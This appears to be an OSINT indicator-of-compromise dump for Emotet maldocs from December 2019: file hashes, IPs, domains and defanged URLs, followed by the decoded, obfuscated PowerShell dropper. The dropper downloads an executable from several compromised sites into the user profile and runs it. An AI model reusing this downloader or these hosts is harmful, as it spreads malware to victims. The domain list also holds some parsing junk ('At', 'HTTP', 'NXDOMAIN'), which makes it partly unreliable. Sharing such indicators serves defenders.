Emotet_Doc_out_2019-12-19_14_27.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
df4e63531475f1dcb398cdf0409dcd1d9ebbcc6148aa0825a69e182d070fed1b
51e92133404b60f9fdc37e0a8386134f252f08d5c28bf00d5ef3edae99d6b8c7
649f7723a49e446f699f0cb07fa939f12879918f2b7682817f3e9f0d3d42b1e5
e17245487a1651f628f438d7e25165fd502e616e52d5f387a0ee3557ea5cf3e7
684656c30f685ea3e31d1e134ab514552485564a7b41a66c613aaabfbe2a4264
6d3645fb7a33ba7f014fb3e7503ea43e5a00d4392575a93b548fcc571cd739b2
64711554948a32281f90a205d4a9167b4b701e615a29723c0e957f3f5ea26ec1
98b54741f1a5089e58e9b97c6584d2efdec1f4ea8aca9fdf5ba32525d4e07238
e3bcf16048358061a282a4a6b4702415a4b98552db8a18c4fac559d23aa95a07
577bbc020278806e950c2f314b78d4858087304a243eba705e34785b10c5dc3c
38702565b1549c058afd93679be7e6564984fd4a0cc7632e8c2b9bbe8f4168ea
854d5fd9c1117d7589ba87ffbe6e0016902612837bbd0975a230a5fbb65457f3
8b1ffd9400a9706ecef672473d11db33fceb70f04f9f85ea500d78d17c38646b
db6dd0d29c4f96ea72ad05fd844520492c0340f95b32ca1bb561b7ad1b1d4a5a
b0002dac1d30130be31b89b0b224c8e9b6fb947992552696adf63fe4ddc5820f
658be9f7b3eaba8e95ca6c2b0fd9ea9cfa05b51520638825f555de13e3dcb88f
099d9114cf9b28c2283d5da4550cec51027a271f0773a2af0f45e9249ee2da81
0cf5543394dc1bde20ef4572f2a365643c9ca4dae76204c09f5bc4f17c27f90e
ff31dc928e4bcddefd03a67e76bb786744ea74b2561a5714fc75fb3629f4f69e
26a2b0aff78cce620513eb70cbf95fc27052ea0638601bbacf7bde307f54fe44
e1914937bfabeddcbe3cd0d047195049bfdabd4cf22d5734aeaa70f909ae22e6
c67ebfab527d11f2dd8e7bd5e2b7ba17304cfd6e8452647b8283a721141940d1
7d4dccc23bf9da5fbb6f74c516115a47ab6812b79175db351f6a331dee5c9691
72851487d72a6a77325466baa49993729a1f37c30e7cde22654fc795d3e5e09e
627cdc3d24a8c9dde5b23afd4b05ce0149a2825691b018897ebeadb6859a9182
2c02b4a78bef3bec874e4e48663c8cee07ecd9bb05f487d7c5b8654b5335705d
64f524961d85cd9d323457e2f7ee7e073212ae5d9c9934946e4f37bc3394f0ca
2faaf307f5124631af47de7abf3bb7754718e207053a9356a1ab61b2bed9dded
1d0b57de31383d7eaa7f826998756982034711ada3fd951dae16ca8c338107b2
0214b00b36773e071fc1fbfeeb968b8747cf4d5f2b18e754af318acd502a44c2
5badf79d2041f3f0cc65f49685e0fd05803d25cfc00bcf33a7bd02df10a5ca61
178afc80903ade64e38005df0177714e7559ea370cd60a5c356f488203812c28
5a6e80d3de706d7f9f0063468594063e2ba9ad2a0528629713244aa2b3416346
77ee0b338fd5c8452fcc00f1cf300873f80aa4ec5efd58bf29f7d279d7bbe79d
03c1d8d1fff44fa9a5f62ed539a38486959d842887baa178d25af64ebceeb128
1962a978570a900fffa736fe5c80a01cfab642986b69f8e8b3038e2030c1b92a


IPs:
103.110.83.106
103.21.58.201
103.21.58.60
103.220.72.113
109.168.105.166
118.23.166.237
118.23.92.113
118.67.248.239
1.215.28.101
13.250.88.201
136.243.82.92
139.99.68.6
146.66.92.65
146.66.99.168
148.72.192.13
149.202.37.234
149.56.19.56
153.122.30.193
153.138.213.134
153.138.213.150
156.155.163.232
157.205.238.171
157.205.238.191
157.205.8.23
157.7.106.218
157.7.144.12
160.153.141.221
162.241.60.19
162.241.92.219
166.62.27.145
173.201.193.129
173.247.19.238
17.56.136.164
17.56.136.197
176.9.47.53
183.62.61.138
183.90.241.103
184.106.54.11
186.192.39.246
186.202.153.95
186.202.161.48
188.93.227.124
189.19.81.181
190.100.153.162
190.113.0.226
190.152.154.133
192.185.129.64
192.99.45.207
193.252.22.84
193.252.22.86
194.25.134.110
194.25.134.46
195.229.241.219
195.229.241.221
198.178.127.12
198.20.96.140
198.23.53.39
199.224.64.206
199.79.62.9
200.219.235.149
200.57.145.142
201.220.214.140
202.238.198.39
202.71.129.37
203.216.5.115
207.180.252.169
210.225.196.8
211.13.204.5
212.227.15.167
212.227.15.171
212.227.15.183
213.134.40.72
213.90.36.108
216.172.167.215
216.230.252.20
217.160.0.206
217.160.0.54
217.160.0.82
223.29.248.111
34.226.104.210
35.246.77.49
38.135.32.111
46.101.7.140
50.87.144.15
5.10.29.201
52.88.111.104
58.250.162.203
62.128.193.150
62.149.128.210
62.149.128.211
63.248.198.8
65.99.252.169
66.133.129.10
66.96.162.139
68.178.213.203
68.178.213.37
68.66.77.34
69.14.208.221
72.167.218.138
72.167.238.29
74.125.142.108
74.125.195.109
74.125.20.108
74.202.142.33
74.202.142.71
74.6.141.43
74.79.103.55
85.119.249.98
86.96.229.28
86.96.229.29
87.106.225.180
91.103.31.45
98.136.96.80


Domains:
aglasiangranito.icewarpcloud.in
am-pop.alpha-mail.ne.jp
arrow-sg.co.jp
At
biswascreation.com
cardesign-analytics.com
cre.otet.o
dakscouriers.com
dupol.com.br
exmail.emirates.net.ae
expoblockchain2020.com
gator3000.hostgator.com
HTTP
imail.dahnaylogix.com
imap.1und1.de
imap.flockmail.com
imap.yokohamabeer.com
inmail.f2s.com
kinugawa.com.cn
maelkajangcanopy.com
mail.adicional.co.mz
mail.alpha-mail.ne.jp
mail.alpha-prm.jp
mail.andinanet.net
mail.bpntransmissoes.com.br
mail.carawan-alfahad.com
mail.designinbeirut.com
mail.digital.com.bo
mail.eim.ae
mail.emirates.net.ae
mail.enviro5.com
mail.esaplling.com
mail.e-solutioninc.com
mail.farmazan.com
mail.fibertel.com.ar
mail.fibrexholding.com
mail.flintmedia.co.uk
mail.gol.com
mail.inonegroup.com
mail.katzoni.com.mx
mail.lolipop.jp
mail.mail.me.com
mail.mariagefreres.co.jp
mail.mchsi.com
mail.nilsr.am
mail.nozomi-am.com
mail.oacplgroup.com
mail.onomyscience.biz
mail.opentechcom.com
mail.oramos.cl
mail.outlook.com
mail.pamirrubat.com
mail.phoenix-soln.com
mail.preciousmouldbase.com
mail.pursatriversidehotel.com
mail.pzasesores.com
mail.rohachi.com
mail.sastechnology.in
mail.scholarlyopenacess.com
mail.shinonsen-kyouiku.jp
mail.singnet.com.sg
mail.tejas.com.sg
mail.telefonica.net
mail.tip-sa.com
mail.tosen.com
mail.turismopalenque.com.mx
mail.utanet.at
mailv.emirates.net.ae
ns1.smarthosting.com.mx
ns65venom.stableserver.net
ntu.edu.iq
NXDOMAIN
p04-imap.mail.me.com
pop.gmail.com
pop.ocn.ne.jp
pop.secureserver.net
salvacodina.com
securepop.t-online.de
smtp1.misiaweb.com
smtp.1und1.de
smtp.adrg.com.hk
smtp.alestraune.net.mx
smtp.alpha-mail.ne.jp
smtp.alpha-prm.jp
smtp.aruba.it
smtp.biomedress.co
smtp.colplas.com.co
smtp.daiwa-eletec.co.jp
smtp.exchangeadministrado.com
smtp.frontiernet.net
smtp.gmail.com
smtp.infinitummail.com
smtp.iomartmail.com
smtp.izi.com.br
smtp.mail.yahoo.com
smtp.orange.fr
smtp.peacockozaki.jp
smtp.portalstarbyte.com.br
smtp.prodigy.net.mx
smtp.secureserver.net
smtp.sld.cu
smtp.stahlbetonbau-johannsen.de
stperformance.co.uk
stylewebcruze.online
sv7582.xserver.jp
wingsingreen.com
www.meee-designbuild.com


URLs:
hxxps://salvacodina.com/wp-admin/qWYFrK/
hxxp://serviska.com/show_cat3/lKzElbNb/
hxxps://bar-ola.com/wp-admin/KIdh35kENT/
hxxp://rinani.com/wp-includes/FFkV/
hxxps://wowmotions.com/wp-admin/A8LwzwQ/
hxxp://wingsingreen.com/wp-admin/ujs427/
hxxp://nakhlmarket.com/bhbl/718727/
hxxps://josesmexicanfoodinc.com/inquire/o415773/
hxxp://stonearyan.com/flashchat/0cnsb31/
hxxps://mustakhalf.com/a5lgi/h58a6u0435/
hxxps://www.meee-designbuild.com/wp-content/vs718/
hxxps://cardesign-analytics.com/messagelist/wdi9/
hxxps://www.danytex.com/cgi-bin/c5b2ze315/
hxxp://nexusfantasy.com/rxmu/eebmh133/
hxxp://basic.woo-wa.com/lwral/wz87053/
hxxps://maelkajangcanopy.com/wp-admin/JBiRPnVvr/
hxxps://stylewebcruze.online/images/WLReuvW/
hxxps://stperformance.co.uk/wp-admin/toubufsC/
hxxp://jandmadventuring.servermaintain.com/wp-content/uploads/cjy4-j423i30-616378266/
hxxps://www.liuxuebook.com/wp-content/BEtxnxQWn/
hxxps://biswascreation.com/jodp17ksjfs/1flxhgo/
hxxps://expoblockchain2020.com/cgi-bin/2/
hxxps://mag-flex.com/wp-admin/xf8q/
hxxps://www.harriscustomcatering.com/wp-includes/jCItk01ogb/
hxxps://fdigitalsolutions.com/cgi-bin/mzqjn4h/
hxxps://dupol.com.br/usytm/j9of-ilc5qrlq-706/
hxxp://investitiispatiiverzis3.ro/wp/gop8l6nig2-9ys7f7hjwn-3369/
hxxp://qdining.com.au/hgqj/ggRmFe/
hxxps://rysstadsylv.no/contactdo/iv1p5-xwiwoeybbu-392/
hxxp://www.deavilaabogados.com/wp-admin/9nqif-fud21scx-125/


Decoded Base64 Powershell:
$Eckolbvxzej='Rqmnbhcz';
$Zygspqcndkh = '332';
$Sssnggolu='Fkyzyhsatww';
$Ysfctiunlz=$env:userprofile+'\'+$Zygspqcndkh+'.exe';
$Maqiairwlevti='Sqyapdkcpbju';
$Scauexoqhmrx=&('new-o'+'bj'+'ect') neT.WEbcliEnt;
$Kkrjdcbdlyha='hxxps://salvacodina.com/wp-admin/qWYFrK/
hxxp://serviska.com/show_cat3/lKzElbNb/
hxxps://bar-ola.com/wp-admin/KIdh35kENT/
hxxp://rinani.com/wp-includes/FFkV/
hxxps://wowmotions.com/wp-admin/A8LwzwQ/'."sP`lit"('
');
$Xkwdtbgqf='Usugcgpaah';
foreach($Fqhpmkhjp in $Kkrjdcbdlyha){try{$Scauexoqhmrx."d`OWn`loA`dFile"($Fqhpmkhjp, $Ysfctiunlz);
$Wzvbxagqojonu='Oflcknoulqw';
If ((&('Get'+'-I'+'tem') $Ysfctiunlz)."lEnG`Th" -ge 30062) {[Diagnostics.Process]::"StA`Rt"($Ysfctiunlz);
$Ugaumadyaipz='Kegmcraupfsjh';
break;
$Kbnlxudnth='Qfdmltqkhk'}}catch{}}$Dszqvccsyn='Bowdgqmec'$Gmttspddipak='Dgvcfnqy';
$Ttlsqgbtwlwkf = '25';
$Btjtznukxmif='Gpqddqvkq';
$Vxaqqtvzm=$env:userprofile+'\'+$Ttlsqgbtwlwkf+'.exe';
$Ahascilqb='Tjibgasqubcwz';
$Eqgiourdmhm=.('new-'+'o'+'bj'+'ect') nET.wEbcLIENT;
$Enrvcjiemaa='hxxp://wingsingreen.com/wp-admin/ujs427/
hxxp://nakhlmarket.com/bhbl/718727/
hxxps://josesmexicanfoodinc.com/inquire/o415773/
hxxp://stonearyan.com/flashchat/0cnsb31/
hxxps://mustakhalf.com/a5lgi/h58a6u0435/'."sP`LIT"('
');
$Vxnvrdqo='Uruexprpl';
foreach($Yghccgkkstycm in $Enrvcjiemaa){try{$Eqgiourdmhm."dOwN`L`oaDfile"($Yghccgkkstycm, $Vxaqqtvzm);
$Ubjvrazdy='Vbnodfzs';
If ((.('Get'+'-Item') $Vxaqqtvzm)."lEN`GTh" -ge 22510) {[Diagnostics.Process]::"STA`Rt"($Vxaqqtvzm);
$Vmixlwlkgn='Avdazcrlzvtw';
break;
$Ilmqstllgxnt='Roenuhmt'}}catch{}}$Apljjztme='Zxqviiopfnf'$Gvepyclv='Hswrhvoridol';
$Evzicqaiwvmto = '153';
$Fcnrnpqlzen='Zutaiovyeqpz';
$Mzjfnaljoj=$env:userprofile+'\'+$Evzicqaiwvmto+'.exe';
$Gymvrgzs='Deerhwmtlusnk';
$Mpxxlnejiuk=.('new-o'+'bj'+'ect') NeT.weBclIenT;
$Ievemviqdmgw='hxxps://www.meee-designbuild.com/wp-content/vs718/
hxxps://cardesign-analytics.com/messagelist/wdi9/
hxxps://www.danytex.com/cgi-bin/c5b2ze315/
hxxp://nexusfantasy.com/rxmu/eebmh133/
hxxp://basic.woo-wa.com/lwral/wz87053/'."S`PLIT"('
');
$Pcrblxro='Mnivduhuuw';
foreach($Jxofhjlmagg in $Ievemviqdmgw){try{$Mpxxlnejiuk."DOW`NlOADF`ILe"($Jxofhjlmagg, $Mzjfnaljoj);
$Dqidwoejto='Ceiqoamprhuj';
If ((.('Ge'+'t-Ite'+'m') $Mzjfnaljoj)."Le`Ng`TH" -ge 23074) {[Diagnostics.Process]::"s`TarT"($Mzjfnaljoj);
$Altpryfya='Bdkdqyopt';
break;
$Qfukosvwzz='Dxzyhuwfi'}}catch{}}$Yjenrwuoe='Vnvhjnddthd'$Hblotogv='Vqrmnjvjcecw';
$Yeyuxmfuciqpb = '498';
$Kolzorqxum='Tmjrjiccvnhpz';
$Pjniegrtwuhli=$env:userprofile+'\'+$Yeyuxmfuciqpb+'.exe';
$Yrzkotbja='Aaftxzhjbxsm';
$Wtbxdufbzj=.('ne'+'w'+'-object') nEt.wEBclieNT;
$Anjxuduynk='hxxps://maelkajangcanopy.com/wp-admin/JBiRPnVvr/
hxxps://stylewebcruze.online/images/WLReuvW/
hxxps://stperformance.co.uk/wp-admin/toubufsC/
hxxp://jandmadventuring.servermaintain.com/wp-content/uploads/cjy4-j423i30-616378266/
hxxps://www.liuxuebook.com/wp-content/BEtxnxQWn/'."s`plIT"('
');
$Jorwgvatkrf='Qgrcjwoh';
foreach($Uudpachuh in $Anjxuduynk){try{$Wtbxdufbzj."DOwnLo`A`DF`ILE"($Uudpachuh, $Pjniegrtwuhli);
$Cpiiqtifegwee='Tauhpnncxq';
If ((&('Get'+'-Ite'+'m') $Pjniegrtwuhli)."lenG`TH" -ge 22262) {[Diagnostics.Process]::"st`ArT"($Pjniegrtwuhli);
$Jqeghrohynka='Apfmbhqpwt';
break;
$Kpnkrnjowob='Mwfvmkhnamnse'}}catch{}}$Duukgthz='Vxqnqmnpook'$Scyozmfytz='Xjthhimufoa';
$Jqumhjsjg = '603';
$Qtrjswrrdyx='Mxzjhizxd';
$Vavdhzdy=$env:userprofile+'\'+$Jqumhjsjg+'.exe';
$Kbtigdci='Vlgjgdyffv';
$Jiwgkphzvbd=&('n'+'ew-objec'+'t') NeT.weBCLieNt;
$Etdlplxd='hxxps://biswascreation.com/jodp17ksjfs/1flxhgo/
hxxps://expoblockchain2020.com/cgi-bin/2/
hxxps://mag-flex.com/wp-admin/xf8q/
hxxps://www.harriscustomcatering.com/wp-includes/jCItk01ogb/
hxxps://fdigitalsolutions.com/cgi-bin/mzqjn4h/'."S`PLiT"('
');
$Aawfesgbtnfq='Cjlzwpayqmt';
foreach($Yrkdbbccc in $Etdlplxd){try{$Jiwgkphzvbd."Do`wNlOa`DFiLE"($Yrkdbbccc, $Vavdhzdy);
$Ebrxtrrb='Azjbmpigqk';
If ((.('Ge'+'t-I'+'tem') $Vavdhzdy)."l`E`NGth" -ge 32899) {[Diagnostics.Process]::"S`Tart"($Vavdhzdy);
$Ufzvscjjmes='Cplyhoiwkamnn';
break;
$Fcpjdlwru='Zkcourznnturd'}}catch{}}$Skfmhetbejpi='Fxrchpyuvgv'$Unpswnjbro='Hdqpuvtt';
$Hbdfwwlsgf = '534';
$Eqevcbsnzxeux='Wixwsttzys';
$Bppkrftvg=$env:userprofile+'\'+$Hbdfwwlsgf+'.exe';
$Xlmlxenkbsrgz='Jhcjtniy';
$Wvuvmgfj=.('new-ob'+'jec'+'t') nET.WebCLient;
$Infwsbga='hxxps://dupol.com.br/usytm/j9of-ilc5qrlq-706/
hxxp://investitiispatiiverzis3.ro/wp/gop8l6nig2-9ys7f7hjwn-3369/
hxxp://qdining.com.au/hgqj/ggRmFe/
hxxps://rysstadsylv.no/contactdo/iv1p5-xwiwoeybbu-392/
hxxp://www.deavilaabogados.com/wp-admin/9nqif-fud21scx-125/'."Sp`liT"('
');
$Rxflrfcxfvcmm='Jrkerqwttjs';
foreach($Alahgujsznl in $Infwsbga){try{$Wvuvmgfj."doWn`l`oAdfIle"($Alahgujsznl, $Bppkrftvg);
$Mipnbpfhiy='Ojteywvwtj';
If ((.('Get-I'+'tem') $Bppkrftvg)."lEn`gth" -ge 37237) {[Diagnostics.Process]::"STA`RT"($Bppkrftvg);
$Tfudmbzktkwf='Waibsarchc';
break;
$Nxzpdmstikld='Lcuywyjlyvlie'}}catch{}}$Qxrorock='Knvdmpfev'